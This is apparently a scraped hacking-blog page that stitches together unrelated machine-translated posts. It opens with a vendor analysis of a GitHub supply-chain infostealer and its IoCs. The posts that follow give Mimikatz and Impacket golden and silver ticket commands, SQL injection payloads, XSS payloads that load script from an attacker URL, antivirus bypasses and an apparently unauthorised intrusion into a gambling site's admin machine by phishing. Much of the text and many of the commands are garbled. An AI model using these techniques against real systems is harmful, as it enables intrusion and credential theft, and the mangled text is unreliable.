Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863289316

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

封面图.jpg

1 概覽近期,安天CERT監測到通過GitHub傳播竊密木馬的攻擊活動。攻擊者在其發布項目的環境依賴文件requirements.txt中添加惡意URL,以獲取其惡意篡改的流行開源模塊,從而在受害者電腦中植入竊密木馬。

攻擊者使用空格將惡意代碼掩藏在該行代碼的末尾,以避免被用戶察覺;並使用多種手段對惡意代碼進行混淆處理,以規避安全產品檢測、阻礙安全人員分析。經過多層腳本載荷的傳遞後,將執行一種由Python編寫的竊密木馬。該竊密木馬會在受害主機中竊取瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感信息,並針對目標路徑中匹配關鍵詞的文件夾及文件進行竊取,最終將竊密數據回傳至C2服務器或上傳至文件共享平台Gofile中。

在此次攻擊活動中,攻擊者在自己發布的項目中引入經過惡意篡改的流行開源模塊,從而傳播竊密木馬。對流行的開源項目進行篡改,在其中添加惡意代碼後重新打包並在發布的項目中進行惡意引用,已經成為一種攻擊方式,用戶很難察覺環境依賴文件中是否存在異常。用戶在使用網絡中非流行、未證實安全性的開源項目時也需保持警惕,以避免執行掩藏在其中的惡意代碼。

經驗證,安天智甲終端防禦系統(簡稱IEP)可實現對該竊密木馬的有效查殺。 2 技術梳理攻擊者在GitHub中上傳項目,並在環境依賴文件requirements.txt中添加惡意URL。當用戶使用該項目時,需要根據該文件中的內容進行配置,從而下載執行經過攻擊者惡意篡改的colorama模塊。

攻擊者添加的惡意代碼用於從其服務器中獲取“version”文件,該文件使用Fernet算法進行加解密,執行後獲取“inj”文件並寫入臨時文件中;“inj”文件經過混淆處理,通過zlib對代碼進行解壓;解壓後的代碼用於獲取最終的竊密木馬,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等基本數據。

該竊密木馬會竊取指定瀏覽器、社交平台、加密貨幣錢包、遊戲客戶端中的敏感數據,並對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。完成竊密行為後,竊密木馬通過HTTP POST方式將竊密數據回傳至C2服務器中。當第一種回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile。

图 2-1攻击流程图.png

圖2‑1攻擊流程圖

3 關聯分析此次發現的惡意GitHub項目是“Discord-Token-Generator”,最早於2024年1月份創建。

图 3-1恶意GitHub项目.png

圖3‑1惡意GitHub項目

該項目的環境依賴文件requirements.txt中包含一個託管colorama-0.4.6.tar.gz的URL。攻擊者對域名進行了偽裝,在流行開源模塊colorama-0.4.6中添加了惡意代碼,並進行重新打包。

图 3-2恶意Github项目中的requirements.txt文件.png

圖3‑2惡意Github項目中的requirements.txt文件

根據requirements.txt文件中發現的惡意域名,目前在GitHub中有多個項目引用了經過攻擊者惡意篡改的模塊,相關賬號可能都是由同一批攻擊者所創建。

图 3-3引用经过攻击者恶意篡改模块的相关GitHub项目.png

圖3‑3引用經過攻擊者惡意篡改模塊的相關GitHub項目

攻擊者用於託管載荷的域名於2024年2月份註冊,表明這是一起剛開始進行的攻擊活動。

图 3-4攻击者使用域名的注册时间.png

圖3‑4攻擊者使用域名的註冊時間

在多個惡意GitHub項目中存在攻擊者修改requirements.txt文件的痕跡。分析時已無法獲取到該URL中的colorama-0.4.3.tar.gz,不能判斷該文件是否惡意。

图 3-5攻击者修改requirements.txt的痕迹.png

圖3‑5攻擊者修改requirements.txt的痕跡

此外,在竊密木馬文件中存在多處葡萄牙語痕跡,表明攻擊者可能位於葡語系國家或地區。

图 3-6攻击者在窃密木马文件中使用葡萄牙语进行输出.png

圖3‑6攻擊者在竊密木馬文件中使用葡萄牙語進行輸出

竊密木馬竊取文件的關鍵詞列表中存在幾處法語,表明攻擊者可能更加針對法語用戶。

图 3-7窃密文件中的法语痕迹.png

圖3‑7竊密文件中的法語痕跡

4 樣本分析4.1 經過攻擊者篡改的colorama模塊colorama是一個開源的Python模塊,能夠提供彩色的終端文本。攻擊者在其__init__.py文件中,通過463個空格將惡意代碼掩藏在第5行末尾,然後將篡改的colorama模塊重新打包並託管於搭建的服務器中。由於__init__.py文件用於定義包的初始化代碼,因此當用戶導入該包時會自動執行其中的惡意代碼。該惡意代碼用於從攻擊者服務器中接收“version”文件中的內容並執行。

图 4-1攻击者掩藏的恶意代码.png

圖4‑1攻擊者掩藏的惡意代碼

4.2 version“version”文件中的代碼使用Fernet算法,通過攻擊者自定義的密鑰對代碼進行解密,然後對解密的代碼進行執行。

图 4-2执行通过Fernet算法进行加解密的代码.png

圖4‑2執行通過Fernet算法進行加解密的代碼

解密後的代碼訪問指定的URL,將“inj”文件內容寫入臨時文件中,並通過python執行。

图 4-3获取“inj”文件内容并执行.png

圖4‑3獲取“inj”文件內容並執行

4.3 inj該文件是一個Python腳本,攻擊者使用中文、日文對變量及函數等進行命名,並且對代碼進行了混淆處理。

图 4-4 inj文件内容.png

圖4‑4 inj文件內容

攻擊者同樣通過空格對關鍵代碼進行掩藏,經解混淆處理後發現,該腳本的作用是使用zlib解壓出下一階段的代碼並進行執行。

图 4-5经过zlib压缩的代码.png

圖4‑5經過zlib壓縮的代碼

4.4 經過zlib解壓的代碼該代碼使用Python編寫,其作用是在%APPDATA、%LOCALAPPDATA%、%TEMP%中選取一個目錄生成一個隨機名稱的文件,將從指定URL中獲取的內容寫入該文件中執行,通過註冊表實現持久化,並向C2服務器回傳受害主機的用戶名稱、IP信息等數據。

图 4-6该代码的作用.png

圖4‑6該代碼的作用

4.5 竊密木馬4.5.1 竊密經過以上多層載荷的傳遞,最終將執行一種使用Python編寫的竊密木馬。其竊密目標如下表所示。

表4‑1竊密目標

瀏覽器

Opera

Chrome

Brave

Vivaldi

Edge

Yandex

Firefox

社交平台

Discord

Telegram

加密貨幣錢包

Atomic Wallet

Guarda

Zcash

Armory

Bytecoin

Exodus

Binance

Jaxx

Electrum

Coinomi

遊戲客戶端

Steam

Riot Client

該竊密木馬也會對目標路徑中含有關鍵詞的文件夾中的文件(最多7個)、以及含有關鍵詞且大小小於500000字節(約488KiB)的文件進行竊取。目標路徑及關鍵詞如下表所示。

表4‑2目標路徑及關鍵詞

目標路徑

桌面

下載

文件

最近使用的項目

關鍵詞

passw

mdp

motdepasse

mot_de_passe

login

secret

bot

atomic

account

acount

paypal

banque

bot

metamask

wallet

crypto

exodus

ledger

trezor

hardware

cold

.dat

discord

2fa

code

memo

compte

to0k3en

backup

secret

seed

mnemonic

memoric

private

key

passphrase

pass

phrase

steal

bank

info

casino

prv

privé

prive

telegram

identifiant

personnel

trading

bitcoin

sauvegarde

funds

récupé

recup

note

4.5.2 回傳該竊密木馬通過HTTP POST將竊取的數據回傳至C2服務器中。

图 4-7 HTTP POST回传方式.png

圖4‑7 HTTP POST回傳方式

當該回傳方式出錯時,該竊密木馬會將竊取的數據上傳至文件共享平台Gofile,並將上傳後形成的下載鏈接記錄在“loggrab”文件中回傳至C2服務器。

图 4-8将数据上传至Gofile.png

圖4‑8將數據上傳至Gofile

5 防護建議5.1 加強終端文件接收和執行防護建議企業用戶部署專業的終端安全防護產品,對本地新增和啟動文件進行實時檢測,並週期性進行網內病毒掃描。安天智甲終端安全系列產品(以下簡稱“智甲”)依托安天自研威脅檢測引擎和內核級主動防禦能力,可以有效查殺本次發現病毒樣本。

智甲可對本地磁盤進行實時監測,對新增文件自動化進行病毒檢測,對發現病毒可在其落地時第一時間發送告警並進行處置,避免惡意代碼啟動。

图 5-1发现病毒时,智甲第一时间捕获并发送告警.png

圖5‑1發現病毒時,智甲第一時間捕獲並發送告警

智甲還為用戶提供統一管理平台,管理員可通過平台集中查看網內威脅事件詳情,並批量進行處置,提高終端安全運維效率。

图 5-2通过智甲管理中心查看并完成威胁事件处置.png

圖5‑2通過智甲管理中心查看並完成威脅事件處置

6 IoCsIoCs

96B4C32AFE965529510A6430C2A7AAD3

150B3626C85EC5AF88B86C0D0E24736B

6580C4990E1E56A7D31A36FF1A0502FA

DD9914573C751C4D8BE4BFE0519F9597

6573627FFC97CA6E82A238561C14A9E4

https[:]//files.pypihosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz

https[:]//pypihosted.org

162.248.100[.]217

忘记账单

金笔记

Goldenticket

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E9%BB%84%E9%E9%87%87%91%E7%E7%A5%A5%A8%A8%E6%8DD%AE

简介

金票(以下称为金票)是伪造的TGT(票务票),因为只要有高授权的TGT,就可以将其发送到TGS进行任何服务的TGS。可以说,有了黄金票,该域中的权威最高。

制作金票的条件

1。域名

2。域的SID值

3。域的KRBTGT帐户密码哈希

4。锻造用户名可以是任何

使用过程

mimikatz

金票的产生需要Krbtgt的哈希值。您可以通过Mimikatz中的命令获得KRBTGT的值。

1LSADUMP:3:DCSYNC /OOWA2013.ROOTKIT.org /user:KrBtgt获取Krbtgt Hash,然后使用Kerberos: -Golden在Mimikatz中的功能产生Golden.kiribi,是成功的成功。

/用户:锻造用户名

/域:域名

/sid:SID值,请注意,最后一个值- 以下值/KRBTGT:KRBTGT HASH值

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

12mimikatz.exe 'kerberos:golden /user:administrator /domain:rootkit.org /sid:S-1-5-21-3759881954-2993291187-3577547808 /krbtgt3360c3d5042c67ef5f461d0ba6ecd9e449 /ptt'Exitklist /kerberos:List可以成功地通过DIR访问域控制的共享文件夹。

1dir \\ owa2013.rootkit.org \ c $

爆炸

123456781。清除票证klist klist purge2。制作ccache文件python ticketer.py -nthash C3D5042C67EF5F461D0BA6ECDD9EA449 -DOMAIN-SID SID SID SID SID SID SID SID SID SID SID SID SID更改环境变量设置krb5ccname=abtrisyator.ccache/export krb5ccname=indercanceator.ccache4。验证结果python wmiexec.py rootkit.org/administrator@owa2013 -K -no-pass

银笔记

Silvertickets

https://www.se7ensec.cn/2021/10/20/20/%E5%9f%9f%E6%B8%97%E9%E9%80%80%8F-KERBEROS%E5%9F%9F%E8%E8% A4%E8%AF%81%E6%9C%BA%E5%88%B6%E5%89%96%E6%9E%90/#%E7%99%BD%E9%E9%93%B6%E7%A5%A5%A5%A8%A8%E6%8DD%AE

需要使用什么服务?在这里查看攻击者如何使用Kerberos银票来利用系统3https://ADSECURITY.org/?p=2011

服务类型

服务银票

WMI

主机,RPCSS

powershell远程

主机,HTTP(WSMAN,RPCSS)

Winrm

主机,http

计划的任务

主持人

Windows文件共享(CIF)

CIFS

LDAP操作包括Mimikatz DCSync

LDAP

Windows远程服务器管理工具

RPCSS,LDAP,CIFS

简介

银票(以下称为银纸币)是伪造的(服务票),因为TGT限于PAC。

客户授权的服务(通过SID的值),因此钞票只能访问指定的服务。

制作银笔记的条件

1。域名

2。域SID

3。完全合格的域名目标服务器的完全合格的域名,即带有主机名和域名的名称。)

4。可用服务(在目标服务器上运行的Kerberos服务,服务主名称类型,例如CIFS,HTTP,MSSQL等)

5。服务帐户的NTLM哈希(如果它是域控制器计算机帐户,则意味着DC已被删除)

6。需要伪造的用户名可以是任何,以下是银

使用过程

mimikatz

首先,我们需要知道服务帐户哈希的密码。在这里,我们还使用域控件作为示例(请注意,在此不使用管理员帐户的哈希,但OWA2013 $)

参数描述:

/域:当前域名

/sid:SID值,像金票一样,请上一部分

/目标:目标主机,这是OWA2013.ROOTKIT.org

/服务:服务名称,您需要在此处访问共享文件,因此是CIFS

/rc4:NTLM服务帐户的哈希值(OWA2013 $)

/用户:锻造用户名

/ptt:这意味着传递票务攻击,该票证将生成的机票导入内存,并且在使用之前也可以使用/票证出口。

使用kerberos:ptt导入

1234567891。 /TARGET:OWA2013.ROOTKIT.org /service:Cifs /rc4:dd2162e8606006006dcca0e29b7819721a /user33:silver /ptt'exitklistdir $ 2.ROOTKIT.OROTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT.ROOTKIT。锻造的LDAP服务权限mimikatz'Kerberos:3:Golden /domain:Rootkit.org /sid:s-1-5-21-37598881954-299999999999993293291187-3577578080808080808083333333333333333333333333333333333333333333333333333333333333333333333333333333633333量表。 /service:ldap /rc4:ddddd2162e8606006dcca0e29b7819721a /user:silver /ptt'exitklistmikikikatz'lsadump333333:dcsync /dcssync /dcssync /dcssync /dcssync /d.ga.ga.gaafa.gaafa.gaafa.arotklistmikikatz /domain:rootkit.org /user:krbtgt' exit.

爆炸

123456781. Forge cifs service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-29993291187-3577547808- domain rootkit.org -dc-ip 192.168.3.144 -spn cifs/owaa2013.Rootkit.org silver2。 Forge LDAP service permissions python3 ticketer.py -nthash ddd2162e8606006dcca0e29b7819721a -domain-sid S-1-5-21-3759881954-2993291187-3577547808 -domain rootkit.org -dc-ip 192.168.3.144 -spn ldap/owa2013.rootkit.org silverset krb5ccname=silver.ccace/export krb5ccname=silver.ccachepython wmiexec.py -k owaa2y2013.Rootkit.org 3

增强版本的金音符

-1

增强式Golden门票

-1

域树和域森林

-1010-110-110-110-110

普通金票的限制

11门票,以便可以获得域控制权限,并且可以访问域中其他主机的任何服务。

但是,不能在域上使用普通的金票,这意味着金票的权限仅限于当前域。

企业管理员组

news.rootkit.org和dev.rootkit.org是rootkit.org的子域,这三个域形成了一个域树。

同样,test.org也是一个单独的域树。将两个域树rootkit.org和test.org合并为被称为域森林。

域名ADMINS组

根域和其他域之间最大的区别是根域对整个域森林具有控制权。

该域基于企业管理员组实现此类许可部门。

使用过程

Enterpriseadmins组是该域中的一组用户,仅存在于森林中的根域中。该组的成员是rootkit.org中的管理员用户(不是本地管理员,而是域中的管理员)对域具有完整的管理控制。

在rootkit.org的域控制上的企业管理员组为519。

mimikatz

子域中不存在Enterpriseadmins组。子域中具有最高特权的小组是域管理组。

news.rootkit.org此子域中的管理员用户,该管理员在当前域中具有最高的权限。

参考

010-1010普通金音符仅限于当前域。 2015年,来自中国黑帽子的研究人员提出了增强的黄金音符版本,这些音符突破了域限制。

迁移期间LDAP库的Sidhistory属性中保存的先前域的SID值是通过制作跨域金票来制作的。

如果您知道根域的SID,则可以使用Mimikatz通过子域的KRBTGT的哈希值来使用Enterpriseadmins组权限(域名森林中最高特权)创建票。

然后再生一张包含Mimikatz根域SID的新金票

1mimikatz'Kerberos:Golden /admin:AdMinistrator /domain:news.rootkit.org` /sid:SID /sidssiD /sids:ROOT域名/endin:600 /renewmax:10080 /ptt'退出参考:3https://ADSecurity.org/?p=1640

startoffffset和endin分别表示偏移和长度,而Renewmax表示生成的票证的最大时间。

请注意,您不知道root domain rootkit.org的密码哈希,并在subdomain news.rootkit.org中使用KRBTGT的密码哈希。

然后,您可以通过DIR访问OWA2013.ROOTKIT.org的共享文件夹。目前,这张机票控制了整个域名森林。

010-1010 https://github.com/uknowsec/active-directory-pentest-notes

我已经实习了一个月,我觉得每天仍然很充实〜

前言:

目标站点:A.Com

经过一系列常规操作,我发现主站点上没有什么可开始的。幸运的是,车站A没有CDN,因此您可以尝试从侧车站进入。

IP反调查,我得到了同一服务器的大约20个域名。手动通过了几次之后,我发现侧站B.com(ASPX+MSSQL)已添加了单引号并报告了错误。我将其扔进了SQLMAP,然后首先运行它,然后继续看另一个侧面站。但是,其中大多数是WordPress站点或纯粹是静态的。我没有任何麻烦。看完一段时间后,我发现SQLMAP运行的结果如下:

123456789101112---Parameter: ProductID (GET)Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquCType: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING条款(in)有效载荷: produciD=2'和1360 in(select(char(113)+char(113)+char(113)+char(107)+char(107)+char(107)+char(113)+char(113)+(select(select(case(1360=1360)) 'JOdp'='JOdp---web server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2008 When using SQLmap to continue running data, it was found that all dynamic pages of B station B reported errors.错误内容被翻译成一个短时间,这导致了过载数据库的查询请求太多,从而导致线程池被超载。

等待大约十分钟后,该网站恢复了正常,因此在关键时刻,手动工作仍然可靠。

MSSQL错误注入:

由于SQLMAP给出的提示包括错误注入,因此直接用于注入错误,这是相对效率的。以下是注射过程以及需要关注的内容:

获取数据库名称:

121. http://B.com/AutoMain.aspx?ProductID=1' and db_name()0--b.com_db

查询当前数据信息:

121. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--Product.ProductID

踩坑的指南:

The subquery does not support returning multiple数据,MSSQL不像MySQL那样支持限制。该解决方案在

获取表名称:

1234561。http://B.com/automain.aspx?productId=1'and 1=(从sysobjects中选择xtype='u'and name!='fofe'sysobjects中的顶部1个名称! http://b.com/automain.aspx?productId=1'and 1=(从信息_schema.tables中选择顶级1个table_name); - 此方法可以查询任何用户表:3http://b.com/automain.aspx?productId=1'and con中的最佳名称,从sysobepts中选择xtypepts xtypempts xtypepts xtypepts xtypepts xtype) 1--Getted user table: AdminLogin

获取列名:

123456781. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where id=(select id from sysobjects where name='AdminLogin') and name'id');--2. http://b.com/automain.aspx?productId=1'and 1=(从Information_schema.columns中选择顶级1列name); - 此方法可以查询adminlogin表的任何列:3。3http://b.com/automain.aspx?productId=1'and(colog_nate) sysobjects)1-获取用户表的列名:adminusernamePassword

获取数据:

123451。http://b.com/automain.aspx?productId=1',然后(从Adminlogin中选择Adminlogin中的顶级1用户名。 http://b.com/automain.aspx?productId=1'and(从Adminlogin中选择顶级1密码,其中adminid=1)1-计算密码:Adminisrislamabad

效果显示在图片中:

2

边框getshell:

通过获得的帐户密码成功登录了B站的网站后端

3

文件上传位置仅验证文件类型,上传图片以获取包裹并更改后缀。连接到外壳后,您发现没有跨目录的许可,因此您只能继续增加权限。

4

主机特权升高:

一开始,我查看了系统过程,它不应该杀死软(实际上,有些,从国外杀死软的人的名字不是很引人注目),而且我什至没有打过几个补丁,所以我认为很容易得到它。

我以为我可以通过常规操作取消它,因此我直接运行了CS的遥控器,发现没有在线主机。仔细看了看后,我看到特洛伊木马刚刚去世,然后我意识到自己遇到了杀手。然后,我尝试了几个升高的当地经验,要么被杀,要么报告了错误。

后来我想起,来自吐司的兄弟分享了免于杀人的远程权利工具:

成功促进权力:

5

促进功率成功后,随后的操作将是顺利的。目的是获得A.Com Shell,首先使用NC使用系统权限反弹CMDShell,然后您可以直接写马或远程下载它,并且还有许多其他姿势.

参考文章:

https://www.jianshu.com/p/0cf7bd46237e

https://github.com/aleenzz/mssql_sql_bypass_wiki

它仅适用于想法组织,但没有提供实际的用法代码,请自己收集。

1.Phpinfo Page

锻造另一方的身份以访问同一网站的phpinfo页面。由于具有相同的域,因此可以通过Ajax提交访问读取witlseText,其中$ _server [“ http_cookie”]将使用httponly属性打印出cookie。

优点:成功率很高,最不容易检测到,也是最常用的方法。

缺点:需要phpinfo页面,条件很恶劣。

2。框架钓鱼

通过iFrame标签嵌入了一个远程域,并且在完全扩展后,它覆盖了原始页面。

优点:没有跳跃,没有更改域名。

缺点:通常涵盖普通页面,管理员很容易检测到。

3。跳钓

通过购买相似的域名,构建相同的网络钓鱼页面并使受害者跳到网络钓鱼站。

优势:强有力的倡议,可以主动采取行动。

缺点:成本很高,并且由于页面跳跃太明显,因此此方法很容易检测到。

4.历史密码

通过JS锻造登录表格,并欺骗浏览器自动填充,从而获得浏览器记住的历史密码。

优点:不容易发现,可以直接获得纯文本,并以很高的成功率获得。

缺点:每个内核浏览器的兼容性不同,最新版本的Google不再支持HTTP协议下的自动填充功能。

5。获取源代码

通过XSS获取后端页面源代码,您通常可以找到一些未经授权的访问权限,或与CSRF合作以添加新用户或执行其他功能,并通过审核后端JS等发现一些漏洞。

优点:信息可详细获取,您也可以获取背景帐户名称。

缺点:它具有很大的局限性,并且不容易使用。

欢迎大师添加。

未来的迷人和辉煌总是在打电话给我,即使您只有陪伴您的痛苦,也必须勇敢地前进。

山和河流充满水,没有办法

漏洞点:现场产品审查办公室

初步测试

在开始时,我尝试了XSS,发现该程序已被过滤。不允许提交标签。最后一个被过滤,但被过滤 1 由于迅速速度相对较快,因此猜测前端有一层检测。尝试绕过前端检测,BURP拦截正式提交的内容,取代XSS有效载荷并发送。它将自动跳回主页。发现该程序后端还具有内容检测,并且XSS在这里暂时是不可行的。 查看编辑器的其他功能: 图像上传: 您可以上传ASPX(已经尝试了其他可能的解析后缀),并且无法解析和重定向到主页。 您可以上传HTML并解析。以这种方式构建的XS通常需要主动攻击,并且管理员在攻击过程中很容易检测异常,因此暂时不考虑它。 表达功能:无用。

另一个黑暗的柳树和鲜花

当我看到编辑器提示IMG的外部图像参考方法时,我觉得我可以在这里做到这一点: 2

正常测试

让我们首先查看正常引用方法中的前端显示。该链接被带入SRC(徽标之前的文本涉及域名,编码): 1 [img | xssurl |xxxxx

徽标] 3

带有有效载荷

将XSS有效载荷放在链接上,然后查看:

1234常规有效载荷:img src=x OneError=s=createElement('script''); body.appendChild(s); s.src='xssurl';构造有效载荷:[img | x OneError=s=s=createElement('scriptelement('script'')

将您学到的知识付诸实践。

脆弱性发现

经过常规过程后,我发现已读取标签信息的功能点是可疑的:

1

重播单语言:

2

您可以看到单个引号被逃脱了。查看关闭方法。没有大问题,因为有回声,因此您可以直接使用错误注入。

错误注入

获取数据库用户

1127)或updatexml(1,concat(0x3a,user()),1 3

获取数据库

1127)或updatexml(1,(选择concat(0x7e,(schema_name),0x7e),inovys_schema.schema.schemata limit 0,1),1 4

绕过安全的狗

取出我一段时间以前学到的狗打手法(超长字符绕过,不同类型的不同类型,原理是相同的):门户网站

5

以下内容与常规错误报告没有什么不同,所以我不会说太多,了解精神〜

小技巧

在渗透测试中,您习惯于从开发人员的角度考虑实现功能,并且您会更快地发现有效的入口点。

结合Burpsuite入侵者模块中的GREP匹配功能,可以快速提取错误注射结果。

超长字符不仅可以用于绕过安全犬注入中,而且还可以使用XS来污染参数。

在这里,我们只需要360来操作。防病毒能力仍然比360的能力差。

电视官方免费安装版本

这是TeamViewer官方网站下载页面:https://WWW.TEAMVIEWER.CN/CN/CN/DOWNLOAD/WINDOWS/。大多数人都用来直接下载此安装版本以使用

1

我不知道您是否注意到了。实际上,TeamViewer还提供了无安装版本的安装版本

2

旁路360

所有以下所有内容都连接到互联网,检测和杀戮引擎已完全打开(请参阅文章封面)

原始操作

以下图以正常方式运行TeamViewerqs.s.exe。尽管有提示,您可以看到默认选项是允许操作。

3

在Webshell下运行

假设现在我有此主机的网状壳,然后直接在马来西亚执行此文件

4

发现它成功弹出了

5

但是我们如何获得ID和密码? Toast共享了一部修改后的电视,该电视支持将帐户密码输出到文件中,但肯定会在以后被杀死。今天,我看到了Coolcat Master:Portal的文章。文章中有一个好主意,可以通过屏幕快照的想法获得。但是,Master CoolCat使用Python屏幕截图。实际上,没有人愿意每次在目标机器上安装Python环境。它应该简单简单。

关于屏幕捕获

有许多项目从GitHub上的命令行中获取屏幕截图。我刚刚找到一个:https://github.com/darealshinji/cmdline-screenshot-tool

在Webshell中,执行屏幕截图-Advanced64.exe并发现它被360截获了。我不知道为什么C ++中的360个报告的Java漏洞攻击.

6

简单旁路360

这里的旁路方法也很简单。将ScreenShot-Advanced64.exe的后缀更改为.7Z(在命令行上执行二进制文件时可以忽略后缀名称),然后上传它们以执行。

7

然后查看网站的根目录

8

ScreenShost.png是生成的屏幕快照,如下

9

杀死360

与帐户密码直接连接。有了远程桌面的权限,您是否仍然担心360无法做到?

10

010-1011目标客户端必须确定可以连接到TeamViewer的服务器

您必须使用远程桌面用户权限来运行TeamViewerqs.s.exe,否则屏幕将是黑色的,如果您连接到它。

上述应用程序方案仅适用于管理员不在时,因为建立远程会话后,双方都会看到它们。

我们必须保持良好的学习习惯,并使用这次我们通常学到的知识。

故事的原因

我几天前收到了一封电子邮件,内容如下:

1

您说将其发送给我有问题。我最近碰巧辞职了,我无事可做。让我们看看。

在添加了那个人的朋友之后,我偶然地聊了几个,这可能是:我说我没有钱从在线赌博中借钱,所以我请他带我去玩这个,所以我可以拿回贷款。几句话后,我向我发送了URL和邀请代码(我无法在本网站上没有邀请码注册),并要求我在网站上充电金钱。我说是的,我会先去一千。主人,你必须带我好,然后注册(后来,我没有为钱补充钱,所以他一直在摇晃我并给我发了一条消息。我感到很生气,所以我删除了他,所以聊天记录消失了,我只是指出了它,没有屏幕截图)。

脆弱性挖掘

官方网站屏幕截图

2

这太麻烦了,无法通过信息收集阶段。有云盾(WAF+CDN)。查看以下Yunxi指纹识别图。测试各种功能点,但没有结果。我不得不说,大多数BC安全性都做得很好。

3

在考虑了一段时间之后,我看到了聊天室的功能,然后去看看他们在说什么,但是我发现只有少数人来回聊天,偶尔有一些像我这样的普通成员。我觉得这是一个口号,一群导师大喊与他们下注。

专业习惯:

当您看到框时,要制作叉子,并用XSS有效载荷击中它:

1/textarea'script src=xssurl/脚本4

WDNMD没有回应?它被加载了.我问其他大师,并说这种情况可能是CSP。我不会在这里解释。我最初计划放弃,但想到了如果不限制IMG怎么办。

再次吃我:

1IMG src=x OneError=s=createElement('script'); body.appendchild(s); s.src='xssurl';5

ding〜ding〜电话响了,多么出色的声音,有效载荷已成功执行,还有一堆cookie(或不同的域名),但现实是残酷的。该网站具有httponly,无法使用cookie,并且尚未获得历史密码,但不要灰心,我们有一种更淫秽的方式。

6

闪存钓鱼

由于前肛门无法移动您,让我们走到一边。不久前,我经常看到Wuchang大师的Flash Fishing操作,这非常经典。然后,我认为有一天我会使用官方Flash网站的捕鱼源代码。我很早就写了它,然后将其放在Github:Portal上。

准备

一个自由空间,免费域名(域名可以用作www.flashxxx.tk,具有相对较高的信誉),以及可以正常启动的马匹。

然后,XSS平台创建一个模块,简要说明代码,在开始时重写警报方法,并阻止URL显示屏,弹出闪存升级提示符,然后跳到网络钓鱼页面:

7

关于Mazi

可以在运行正常安装文件时运行mazi,野蛮姿势:使用自提取捆绑文件

为了使自由压缩的EXE文件正常运行(已更改为正常的安装文件图标),必须确保其具有减压软件。我压缩了钓鱼页的自我压缩文件,并变成了flashplayerpp_install_cn.zip。这样,他必须安装解压缩文件才能打开安装程序,并且MA ZI将自然生效。

关于杀戮

由于技术有限,我们没有在没有杀死的情况下这样做。产生的马将被毒药部分杀死和报告。我不知道该怎么杀了对手,所以我想到了一种粗俗但有效的方法。实际上,许多在下载网站上下载的文件也喜欢这样做,哈哈。

8

一切都准备就绪

一切都准备就绪,只需要东风,直接发送升级提示+跳跃XSS有效载荷我刚刚写道:

9

该页面成功弹出,如果另一方不单击确定的页面,他会保持卡住。单击确定后,我的钓鱼页将跳到我的钓鱼页面(这里的钓鱼页面还添加了一些材料,以便他可以在单击后跳回钓鱼页)

但是,一开始没有人在线,所以我单击了,看到管理员重置了聊天页面的内容。奥利曾经说过:不要害怕我们遇到的任何困难。让我们更改数字并继续越过。间歇性过境和越过十次以上后,管理员可能无法帮助它(管理员:兄弟,停止玩,我还不能安装它),最后跑了我的马。

成功启动:

在这里启动了一个,但幸运的是,这是管理员的机器,否则以前的努力将是徒劳的。

10

看一段时间,相反的一面正在做爱:

11

这很明显,您可以看到钓鱼页仍然打开,他们两个仍在讨论亏损,他们死于笑声:

12

我打开了一本书,但我不明白这一点:

13

让我们看看存储了什么好东西,两个硬盘驱动器和一个U驱动器,C驱动器驱动器一无所有:

14

F磁盘上有有关会员数据,账单流,管理后端配置等的信息。

15

停止直到:

我不会说太多。我看了在线IP,跑得很远,赚钱。我离开家乡并不容易。祝您在新的一年中和平重返祖国的拥抱。

16

我不知道现在写年度摘要是否有点晚。

2019

在2019年,一切顺利。我一生中的第一次实习,进入了一些小的沟通,并遇到了一些真正的“大师”。通过各种渠道,例如论坛,官方帐户,QQ,微信组和小圈子,我每天都可以被动地积极地学习各种思想和知识,并进行一些技术积累,但我仍然觉得我缺乏某种东西,这是我的定位和发展方向。

由于我选择了穿透测试的路径,因此我必须坚持下去。面对知识的“深度”和“广度”的发展,这一直是我非常困惑的问题。

选择“深度”

找到一个领域,进行深入研究,并努力在几年内达到一定水平。最好成为该领域的相对领先地位,但我觉得我并不那么聪明。我一直都在研究,我正在模仿我已经研究的内容,而且很少有人自己研究它。

选择“广度”

这更适合工作场景的需求。为了达到目标要求,您将使用任何手段来支持它。困难不亚于前者,甚至更多。进行渗透测试时需要考虑的也是一个方面。我们需要做的是在表面上找到一个突破点。这个突破点不应仅限于网络,因此我们自然需要了解一些特殊的攻击方法,这就是为什么存在“广度”的原因。这种感觉变得更加清晰,尤其是在我看到并了解更多之后。

2020

我的答案

最近,我关注了一个带有匿名ID的大师撰写的博客。匿名可能是作品本质的原因。阅读后记录的内容或多或少会引起共鸣,我还找到了问题的答案。合格的“黑客”必须追求“广度”,同时也发展了他的“深度”。这两个实际上并没有冲突,但他们只需要将更多的精力置于他们善良的方向上。如果您坚持不懈,如果您有耐心,您将始终取得成果。

未来计划

将继续练习网络(很容易开始,很难深入研究)

扩展Intranet渗透的新方向(水平,没有杀戮,权利保护)

Python(清晰的想法,高效编码)

最终目标

努力通过自己独特的见解实现相对完整的渗透测试系统

学习安全技术并承认自己的弱点不是丑闻。

